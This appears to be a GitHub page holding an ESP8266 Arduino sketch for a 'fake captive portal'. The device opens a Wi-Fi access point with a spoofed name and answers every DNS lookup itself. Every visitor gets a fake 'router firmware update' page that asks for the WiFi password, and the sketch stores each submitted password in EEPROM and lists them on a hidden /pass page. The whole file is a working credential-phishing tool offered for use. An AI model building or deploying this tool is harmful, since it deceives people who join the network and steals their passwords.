-
Notifications
You must be signed in to change notification settings - Fork 0
/
esp8266_fake_captive_portal.ino
227 lines (193 loc) · 8.07 KB
/
esp8266_fake_captive_portal.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
// ESP8266 WiFi Captive Portal
// Modified by PhitzZ
// Libraries
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <EEPROM.h>
// Your WiFi Network
const char* wifi_SSID = "";
const char* wifi_PASS = "";
// Default SSID name for confusion
const char* SSID_NAME = "FAKE-WIFI";
// Default main strings
#define SUBTITLE "Router info."
#define TITLE "Update"
#define BODY "Your router firmware is out of date. Update your firmware to continue browsing normally."
#define POST_TITLE "Updating..."
#define POST_BODY "Your router is being updated. Please, wait until the process finishes.</br>Thank you."
#define PASS_TITLE "Passwords"
#define CLEAR_TITLE "Cleared"
// Init system settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(192, 168, 1, 10); // Default Gateway of ESP8266
//IPAddress WiFi.localIP() Gateway of ESP8266 that connected to network
String allPass = "";
String newSSID = "";
String currentSSID = "";
// For storing passwords in EEPROM.
const int initialCheckLocation = 20; // Location to check whether the ESP is running for the first time.
const int passStart = 30; // Starting location in EEPROM to save password.
int passEnd = passStart; // Ending location in EEPROM to save password.
unsigned long bootTime=0, lastActivity=0, lastTick=0, tickCtr=0;
DNSServer dnsServer;
ESP8266WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<","<");a.replace(">",">");
a.substring(0,200); return a;
}
String footer() {
return "</div><div class=q><a>© All rights reserved.</a></div>";
}
String header(String t) {
String a = String(currentSSID);
String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
"body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
"div { padding: 0.5em; }"
"h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
"input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }"
"label { color: #333; display: block; font-style: italic; font-weight: bold; }"
"nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
"nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
"textarea { width: 100%; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width,initial-scale=1\">"
"<style>" + CSS + "</style>"
"<meta charset=\"UTF-8\"></head>"
"<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>";
return h;
}
String index() {
return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post><label>WiFi password:</label>"+
"<input type=password name=m></input><input type=submit value=Start></form>" + footer();
}
String posted() {
String pass = input("m");
pass = "<li><b>" + pass + "</li></b>"; // Adding password in a ordered list.
allPass += pass; // Updating the full passwords.
// Storing passwords to EEPROM.
for (int i = 0; i <= pass.length(); ++i)
{
EEPROM.write(passEnd + i, pass[i]); // Adding password to existing password in EEPROM.
}
passEnd += pass.length(); // Updating end position of passwords in EEPROM.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(POST_TITLE) + POST_BODY + footer();
}
String pass() {
return header(PASS_TITLE) + "<ol>" + allPass + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String localip() {
return header("Local IP") + "<p>You can use local IP address to access this fake captive portal.<br><br>Access here: http://" + WiFi.localIP().toString() + "</p>" + footer();
}
String ssid() {
return header("Change SSID") + "<p>Here you can change the SSID name. After pressing the button \"Change SSID\" you will lose the connection, so reconnect to the new SSID.</p>" + "<form action=/postSSID method=post><label>New SSID name:</label>"+
"<input type=text name=s></input><input type=submit value=\"Change SSID\"></form>" + footer();
}
String postedSSID() {
String postedSSID = input("s");
newSSID="<li><b>" + postedSSID + "</b></li>";
for (int i = 0; i < postedSSID.length(); ++i) {
EEPROM.write(i, postedSSID[i]);
}
EEPROM.write(postedSSID.length(), '\0');
EEPROM.commit();
WiFi.softAP(postedSSID.c_str());
return header("Posted SSID") + newSSID + footer();
}
String clear() {
allPass = "";
passEnd = passStart; // Setting the password end location -> starting position.
EEPROM.write(passEnd, '\0');
EEPROM.commit();
return header(CLEAR_TITLE) + "<div><p>The password list has been reset.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void BLINK() { // The built-in LED will blink 5 times after a password is posted.
for (int counter = 0; counter < 10; counter++)
{
digitalWrite(BUILTIN_LED, counter % 2);
delay(500);
}
}
void setup() {
Serial.begin(115200);
bootTime = lastActivity = millis();
EEPROM.begin(512);
delay(10);
// Check whether the ESP is running for the first time.
String checkValue = "first"; // This will be set in EEPROM after the first run.
bool isFirstRun = false;
for (int i = 0; i < checkValue.length(); ++i)
{
if (char(EEPROM.read(i + initialCheckLocation)) != checkValue[i])
{
isFirstRun = true;
break;
}
}
if (isFirstRun) {
// Add "first" in initialCheckLocation.
for (int i = 0; i < checkValue.length(); ++i)
{
EEPROM.write(i + initialCheckLocation, checkValue[i]);
}
EEPROM.write(0, '\0'); // Clear SSID location in EEPROM.
EEPROM.write(passStart, '\0'); // Clear password location in EEPROM
EEPROM.commit();
}
// Read EEPROM SSID
String ESSID;
int i = 0;
while (EEPROM.read(i) != '\0' && i < 32) { // Add a maximum length check
ESSID += char(EEPROM.read(i));
i++;
}
// Reading stored password and end location of passwords in the EEPROM.
while (EEPROM.read(passEnd) != '\0' && passEnd < 512) // Add a maximum length check
{
allPass += char(EEPROM.read(passEnd)); // Reading the stored password in EEPROM.
passEnd++; // Updating the end location of password in EEPROM.
}
WiFi.mode(WIFI_AP_STA);
WiFi.begin(wifi_SSID, wifi_PASS);
delay(1000);
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
// Setting currentSSID -> SSID in EEPROM or default one.
currentSSID = ESSID.length() > 1 ? ESSID : SSID_NAME;
// Gateway that connected to Nerwork
Serial.println("");
Serial.print("Connected to: ");
Serial.println(wifi_SSID);
Serial.print("Local IP address: ");
Serial.println(WiFi.localIP());
// Default Gateway
Serial.println("");
Serial.print("Current SSID: ");
Serial.println(currentSSID);
WiFi.softAP(currentSSID.c_str());
// Start webserver
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only for HTTP)
webServer.on("/post", HTTP_POST, []() { webServer.send(HTTP_CODE, "text/html", posted()); BLINK(); });
webServer.on("/ssid", HTTP_GET, []() { webServer.send(HTTP_CODE, "text/html", ssid()); });
webServer.on("/localip", HTTP_GET, []() { webServer.send(HTTP_CODE, "text/html", localip()); });
webServer.on("/postSSID", HTTP_POST, []() { webServer.send(HTTP_CODE, "text/html", postedSSID()); });
webServer.on("/pass", HTTP_GET, []() { webServer.send(HTTP_CODE, "text/html", pass()); });
webServer.on("/clear", HTTP_GET, []() { webServer.send(HTTP_CODE, "text/html", clear()); });
webServer.onNotFound([]() { lastActivity=millis(); webServer.send(HTTP_CODE, "text/html", index()); });
webServer.begin();
// Enable the built-in LED
pinMode(BUILTIN_LED, OUTPUT);
digitalWrite(BUILTIN_LED, HIGH);
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {
lastTick = millis();
}
dnsServer.processNextRequest();
webServer.handleClient();
}